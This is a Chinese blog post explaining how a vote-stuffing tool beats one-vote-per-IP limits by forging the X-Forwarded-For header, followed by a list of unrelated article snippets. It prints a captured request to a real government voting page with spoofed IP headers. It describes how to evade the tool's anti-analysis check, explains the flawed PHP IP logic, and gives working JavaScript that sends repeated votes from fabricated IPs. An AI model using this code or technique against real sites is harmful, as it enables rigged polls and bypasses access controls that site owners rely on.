1. 程式人生 > >投票網站分析及偽造IP技術

投票網站分析及偽造IP技術

投票網站檢查IP,限制一個IP只允許投票一次,那麼只有使用代理,或者通過不停的斷網和撥號才能實現。我實在想不到其他好辦法,後來這個朋友找到了一個可以極速在這個網站投票的程式,我對這個程式的IP解決方案很好奇就問朋友要來想分析一下。

首先我是採取對這個投票軟體進行抓包的方式來研究,準備好了之後,開啟投票程式“刷!提示軟體衝突!”暈,不會吧,那我就關掉一些程式,都關完了只留一個抓包程式還提示衝突,呵呵,原來這個程式竟然還知道有人可能會分析他的軟體,竟然遍歷程序名稱,檢查是否有可疑的程式,如果有程式對他進行分析或者抓包,他就拒絕執行。呵呵,目前我知道他限制的軟體有易語言程式設計軟體,還有 WSockExpert_Cn 抓包軟體。呵呵,關了易語言,把 WSockExpert_Cn 名稱改一下,順利通過軟體的自身安全檢測,執行成功。

以下是我在使用過程中他投票是的資料包: POST /vote/view.php?sid=33&act=vote HTTP/1.1
Accept: */*
Referer: http://www.qdnfy.gov.cn/vote/vote.php
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 218.20.218.200
CLIENT_IP: 218.20.218.200
VIA: 218.20.218.200
REMOTE_ADDR: 218.20.218.200
Accept-Language: zh-cn
Accept-Encoding: text
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)
Host: 
www.qdnfy.gov.cn

Cookie: PHPSESSID=pldjnb6scereodjm5niqb9q990
Content-Length: 49
Connection: Close

X-Forwarded-For   發現了這個http頭引數  後面跟著IP,呵呵,這個引數肯定有來頭,原來我一直不知道,呵呵,趕緊百度一下。

下面是百度後的一篇說明文章,說得很好,大家看看。

偽造HTTP頭中的X-Forwarded-For欄位來偽造IP
百度了一下X-Forwarded-For的原理,這東西出來好長時間了.我還第一次聽說
X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,只有在通過了HTTP 代理或者負載均衡伺服器時才會新增該項。
它不是RFC中定義的標準請求頭資訊,在squid快取代理伺服器開發文件中可以找到該項的詳細介紹。
標準格式如下:
X-Forwarded-For: client1, proxy1, proxy2
從標準格式可以看出,X-Forwarded-For頭資訊可以有多個,中間用逗號分隔,第一項為真實的客戶端ip,剩下的就是曾經經過的代理或負載均衡的ip地址,經過幾個就會出現幾個。
wiki 的X-Forwarded-For解釋 

http://en.wikipedia.org/wiki/X-Forwarded-For
分析:
既然是要偽造客戶端IP,那我們先看看一般是怎樣獲取客戶端IP地址的(以php為例).這段程式碼是在百度搜索到的.大部分網站可能都用這段程式碼
 
<?php 
$user_IP = ($_SERVER["HTTP_VIA"]) ? //是否使用了代理 
$_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 
//獲取失敗則從REMOTE_ADDR獲取
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 
?>
首先判斷HTTP_VIA頭是否存在,HTTP_VIA頭代表是否使用了代理伺服器.如果沒有那就從REMOTE_ADDR欄位獲取客戶端的IP地址,如果有那就從X-Forwarded-For獲取客戶端IP
我估計很多程式設計師都是從百度來的程式碼吧.asp也類似.
然後我們來測試一下.
服務端程式碼:
 
<?php 
//輸出HTTP_X_FORWARDED_FOR 
echo "HTTP_X_FORWARDED_FOR:".$_SERVER["HTTP_X_FORWARDED_FOR"]; 
//輸出REMOTE_ADDR echo "REMOTE_ADDR:". $_SERVER["REMOTE_ADDR"]; 
?>

可以看到獲取到的客戶端ip地址是不一樣的.REMOTE_ADDR為真實地址.
所以一個網站如果是從X-Forwarded-For來判斷客戶端IP地址的話,那麼我們就可以利用這個邏輯漏洞刷票了.剛好我同學那個網站就是.
演示地址:http://87year.info/t00ls/vote/index.html(右鍵可檢視所有客戶端原始碼)

附客戶端程式碼:
<script>
function CreateXMLHttp(){
var xmlhttp=false;//建立一個新變數並賦值false,使用false作為判斷條件說明還沒有建立XMLHTTPRequest物件
try{
xmlhttp=new XMLHttpRequest();//嘗試建立 XMLHttpRequest 物件,除 IE 外的瀏覽器都支援這個方法。
}catch(e){
try{
xmlhttp=ActiveXobject("Msxml12.XMLHTTP");//使用較新版本的 IE 建立 IE 相容的物件(Msxml2.XMLHTTP)。
}catch(e){
try{
xmlhttp=ActiveXobject("Microsoft.XMLHTTP");//使用較老版本的 IE 建立 IE 相容的物件(Microsoft.XMLHTTP)。
}catch(failed){
xmlhttp=false;//如果失敗了還保持false
}
}
}
return xmlhttp;
}
var g_i=0;
function $(obj){
return document.getElementById(obj);
}
function onSearch()
{
var g_xmlhttp=CreateXMLHttp();
if (g_xmlhttp==false)
{
alert("你的瀏覽器不支援ajax");
return;
}
var sendData="bid="+$("id").value;
var fakeIP=$("ip").value+g_i;
//alert(fakeIP);return ;
g_xmlhttp.open("POST","http://192.168.15.166/ip.php",true);
g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4)
{
$("res").innerHTML+=g_xmlhttp.responseText+"</br>";
if(++g_i<5)
{
setTimeout("onSearch()",1000);
}
}
}
g_xmlhttp.send(sendData);
}
</script>
<form name="form1" method="post" action="" id="form1">
<div>
<br />
ip地址:<input id="ip" type="text" value="200.156.4." /></br>
投票ID:<input id="id" type="text" value="232" /></br>
<input id="search" type="button" value="開始" />
<br />
<br />
<span id="res"></span>
<br />
<br />
</div>
</form>

相關推薦

投票網站分析偽造IP技術

投票網站檢查IP,限制一個IP只允許投票一次,那麼只有使用代理,或者通過不停的斷網和撥號才能實現。我實在想不到其他好辦法,後來這個朋友找到了一個可以極速在這個網站投票的程式,我對這個程式的IP解決方案很好奇就問朋友要來想分析一下。 首先我是採取對這個投票軟體進行抓包的方

大資料技術學習筆記之Hadoop框架基礎3-網站日誌分析MapReduce過程詳解

一、回顧     -》Hadoop啟動方式         -》單個程序             sbin/h

案例分析:大數據平臺技術方案案例(ppt)

分布式數據庫 技術分享 存儲系統 jpeg ucs ppt images 無法 image 大數據平臺是為了計算,現今社會所產生的越來越大的數據量,以存儲、運算、展現作為目的的平臺。大數據技術是指從各種各樣類型的數據中,快速獲得有價值信息的能力。適用於大數據的技術,包括大規

進階 | 一文讀懂大資料分析挖掘技術

隨著大資料時代的到來,在大資料觀念不斷提出的今天,加強資料大資料探勘及時的應用已成為大勢所趨。 什麼是大資料探勘? 資料探勘(Data Mining)是從大量的、不完全的、有噪聲的、模糊的、隨機的資料中提取隱含在其中的、人們事先不知道的、但又是潛在有用的資

2018年機器視覺產業技術現狀、發展趨勢分析發展前景預測

機器視覺的界定以及構成 機器視覺就是用機器來代替人眼做測量和判斷的系統,它通過光學裝置和非接觸感測器自動獲取目標物件的影象,並由影象處理裝置根據所得影象的畫素分佈、亮度和顏色等資訊進行各種運算處理和判別分析,以提取所需的特徵資訊或根據判別分析結果對某些現場裝置進行運動控制。機器視覺系統中的影象處

NAT-T技術原理簡單分析應用實驗解析

1.首先我們就IPSEC VPN的部署場景來做簡要分析: 場景1:如圖所示,企業的總部與分支機構分別架設了VPN裝置,分支機構的需求是同步企業內部的業務資料(屬企業內部的機密資訊),那麼就必須確保資料在公網上是安全包密傳遞的。這種情況下我們可以直接用IPSEC

網站分析之 --- PV、UV、IP、VV

PV是網站分析的一個術語,用以衡量網站使用者訪問的網頁的數量。對於廣告主,PV值可預期它可以帶來多少廣告收入。一般來說,PV與來訪者的數量成正比,但是PV並不直接決定頁面的真實來訪者數量,如同一個來訪者通過不斷的重新整理頁面,也可以製造出非常高的PV。 1、什麼是PV值   PV(pa

系統技術非業餘研究 » gen_tcp接受連結時enfile的問題分析解決

最近我們為了安全方面的原因,在RDS伺服器上做了個代理程式把普通的MYSQL TCP連線變成了SSL連結,在測試的時候,皓庭同學發現Tsung發起了幾千個TCP連結後Erlang做的SSL PROXY老是報告gen_tcp:accept返回{error, enfile}錯誤。針對這個問題,我展開了

python資料分析與挖掘學習筆記(6)-電商網站資料分析商品自動推薦實戰與關聯規則演算法

這一節主要涉及到的資料探勘演算法是關聯規則及Apriori演算法。 由此展開電商網站資料分析模型的構建和電商網站商品自動推薦的實現,並擴充套件到協同過濾演算法。 關聯規則最有名的故事就是啤酒與尿布的故事,非常有效地說明了關聯規則在知識發現和資料探勘中起的作用和意義。 其中有

系統技術非業餘研究 » gen_tcp傳送程序被掛起起因分析對策

最近有同學在gmail上問關於gen_tcp傳送程序被掛起的問題,問題描述的非常好,見底下: 第一個問題是關於port_command和gen_tcp:send的。從專案上線至今,我在tcp傳送的地方遇到過兩次問題,都跟port_command有關係。 起初程式的效能不好,我從各方面嘗試分析和優化

Thrift結構分析增加取客戶端IP功能實現

#ifndef MOOON_NET_THRIFT_HELPER_H #define MOOON_NET_THRIFT_HELPER_H #include <mooon/net/config.h> #include <mooon/sys/log.h> #include <mooo

門戶類網站效能測試分析調優

轉自阿里雲:https://help.aliyun.com/document_detail/pts/test-case/PTS-TC08-ProtalWebSites.html?pos=1 1 背景   前段時間,效能測試團隊經歷了一個規模較大的入口網站的效能優化工作,該網

軟體開發技術職位分析職業規劃

分析 雖然說每個行業都必須要時刻學習,但軟體行業技術的可持續性與積累性較差。例如:中醫越做越吃香,而多年前的諾基亞開發已被拋棄。 嚴重青春飯 社交圈很難往上走 連續不離散的無意義學習 上升通道受限於運氣 上升通道受限於不具備的能力 工作時間過度佔據生活時間

淺談:網站SEO優化導航做法分析技巧

需要 全網營銷 網站頁面 剖析 長尾 重要 競價托管 就是 網絡推廣 一、網站的導航SEO優化效果  1、能有用地運用戶知道,網站的全體用戶的內容,其間包含產品、效勞、聯系方法以及公司簡介等;  2、很好的進行網站訪客進行符號,能出現在當時閱讀頁面地點的網站方位;  3、制

郭歆芮:黃金原油如期高開,早間行情走勢分析早間操作建議!

郭歆芮:黃金原油如期高開,早間行情走勢分析及早間操作建議! 在這個市場,有一個清醒的頭腦比有一個聰明的頭腦更重要,有一種良好的習慣比有一種熟練的技巧更實用。堅韌的才是長久的,真實的才是永恒的,做任何事情都是如此。當你刻意地追求時,它就像蝴蝶一樣振翅飛遠。當你專

使用sso(cas)的時候報單點登錄service不匹配問題分析解決

amp 多個 cas query xxx code util match 新版 最近在使用portal做企業門戶網站,其中使用了sso。在集成了多個應用之後在portal中點擊集成的應用報錯 2017-05-31 08:37:16,950 ERROR [org.jasig.

MySQL性能分析explain的使用

索引 pri ... ons data 接下來 rom possible 聯合 MySQL性能分析及explain用法的知識是本文我們主要要介紹的內容,接下來就讓我們通過一些實際的例子來介紹這一過程,希望能夠對您有所幫助。 1.使用explain語句去查看分析結果 如e

集群環境分析部署(基礎)

服務器 檢測 記錄 能力 健康 集群概念:由兩個或兩個以上的服務實體協調、配合完成一系列工作的模式,對外表現為一個整體。特點分配用戶請求故障轉移共享存儲結構:agent 負載調度器業務層 服務器池存儲 共享存儲1.垂直擴展為同樣的計算資源池加入更多資源,比如增加更多內存、磁盤或

AppStore IPv6-only審核被拒原因分析解決方案

穩定 eip ios 穩定性 only 應用服務器 http 一個 搭建 AppStore IPv6-only審核被拒原因分析及解決方案 http://www.jianshu.com/p/8edfdfa20b29 自2016年6月1日起,蘋果要求所有提交App St

Android 65K問題之Multidex原理分析NoClassDefFoundError的解決方法

bottom mini ati ... types auto weight right for Android 65K問題相信困惑了不少人,盡管AS的出來能夠通過分dex高速解決65K問題,可是同一時候也easy由於某些代碼沒有打包到MainDex裏